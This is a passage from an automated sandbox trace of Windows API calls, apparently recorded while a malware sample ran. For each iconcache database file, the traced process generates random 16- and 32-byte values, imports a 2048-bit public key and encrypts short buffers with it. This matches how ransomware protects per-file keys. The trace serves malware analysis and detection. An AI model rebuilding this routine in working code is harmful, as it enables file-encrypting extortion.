dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.479] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0174.481] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.481] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.481] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.481] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.481] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0174.483] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.484] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.484] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.484] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.484] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0174.489] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35dadd0) returned 1 [0174.489] CryptGetKeyParam (in: hKey=0x35dadd0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.489] CryptEncrypt (in: hKey=0x35dadd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3de0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3de0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.490] GetLastError () returned 0x0 [0174.490] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.490] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0174.495] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35dad10) returned 1 [0174.495] CryptGetKeyParam (in: hKey=0x35dad10, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.495] CryptEncrypt (in: hKey=0x35dad10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3df0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3df0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.495] GetLastError () returned 0x0 [0174.495] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.495] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_32.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_32.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.495] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0174.497] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.498] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.498] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.498] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0174.498] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0174.500] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.500] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.500] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.500] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.500] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0174.506] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db250) returned 1 [0174.506] CryptGetKeyParam (in: hKey=0x35db250, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.506] CryptEncrypt (in: hKey=0x35db250, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3e00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.506] GetLastError () returned 0x0 [0174.506] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.506] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0174.511] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db290) returned 1 [0174.511] CryptGetKeyParam (in: hKey=0x35db290, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.511] CryptEncrypt (in: hKey=0x35db290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3e10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.512] GetLastError () returned 0x0 [0174.512] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.512] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_48.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.512] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0174.514] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.514] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.514] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.514] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.514] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0174.516] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.517] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.517] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.517] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.517] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0174.522] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35dae50) returned 1 [0174.522] CryptGetKeyParam (in: hKey=0x35dae50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.522] CryptEncrypt (in: hKey=0x35dae50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3e20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.522] GetLastError () returned 0x0 [0174.522] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.522] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0174.527] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db2d0) returned 1 [0174.527] CryptGetKeyParam (in: hKey=0x35db2d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.527] CryptEncrypt (in: hKey=0x35db2d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3e30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.527] GetLastError () returned 0x0 [0174.528] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.528] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_768.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_768.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.528] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0174.531] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.531] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.531] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.531] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.531] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0174.533] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.533] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.533] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.533] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.533] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0174.538] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db110) returned 1 [0174.538] CryptGetKeyParam (in: hKey=0x35db110, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.538] CryptEncrypt (in: hKey=0x35db110, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3e40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.539] GetLastError () returned 0x0 [0174.539] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0174.539] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0174.545] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35daed0) returned 1 [0174.545] CryptGetKeyParam (in: hKey=0x35daed0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.545] CryptEncrypt (in: hKey=0x35daed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3e50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.545] GetLastError () returned 0x0 [0174.545] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.545] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_96.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_96.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.545] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0174.548] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.548] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.548] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.548] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.548] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0174.550] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.550] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.550] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.550] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.551] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0174.556] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db350) returned 1 [0174.556] CryptGetKeyParam (in: hKey=0x35db350, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.556] CryptEncrypt (in: hKey=0x35db350, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e60000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3e60000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.557] GetLastError () returned 0x0 [0174.557] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0174.557] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0174.563] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db390) returned 1 [0174.563] CryptGetKeyParam (in: hKey=0x35db390, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.563] CryptEncrypt (in: hKey=0x35db390, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e70000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3e70000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.563] GetLastError () returned 0x0 [0174.563] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.563] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_custom_stream.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_custom_stream.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.563] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0174.565] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.566] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.566] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.566] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.566] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0174.568] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.568] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.568] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.568] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.568] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0174.574] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35daf10) returned 1 [0174.574] CryptGetKeyParam (in: hKey=0x35daf10, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.574] CryptEncrypt (in: hKey=0x35daf10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e80000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3e80000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.574] GetLastError () returned 0x0 [0174.574] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.574] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0174.586] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db150) returned 1 [0174.586] CryptGetKeyParam (in: hKey=0x35db150, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.586] CryptEncrypt (in: hKey=0x35db150, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e90000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3e90000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.586] GetLastError () returned 0x0 [0174.586] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.586] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_exif.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_exif.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.586] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0174.588] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.588] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.588] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.589] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.589] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0174.590] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.591] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.591] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.591] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.591] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0174.596] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db1d0) returned 1 [0174.596] CryptGetKeyParam (in: hKey=0x35db1d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.596] CryptEncrypt (in: hKey=0x35db1d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3ea0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3ea0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.596] GetLastError () returned 0x0 [0174.596] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.597] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0174.601] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35daf90) returned 1 [0174.602] CryptGetKeyParam (in: hKey=0x35daf90, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.602] CryptEncrypt (in: hKey=0x35daf90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3eb0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3eb0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.602] GetLastError () returned 0x0 [0174.602] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.602] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_idx.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.602] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0174.604] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.604] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.604] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.604] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.604] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0174.606] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.606] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.606] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: 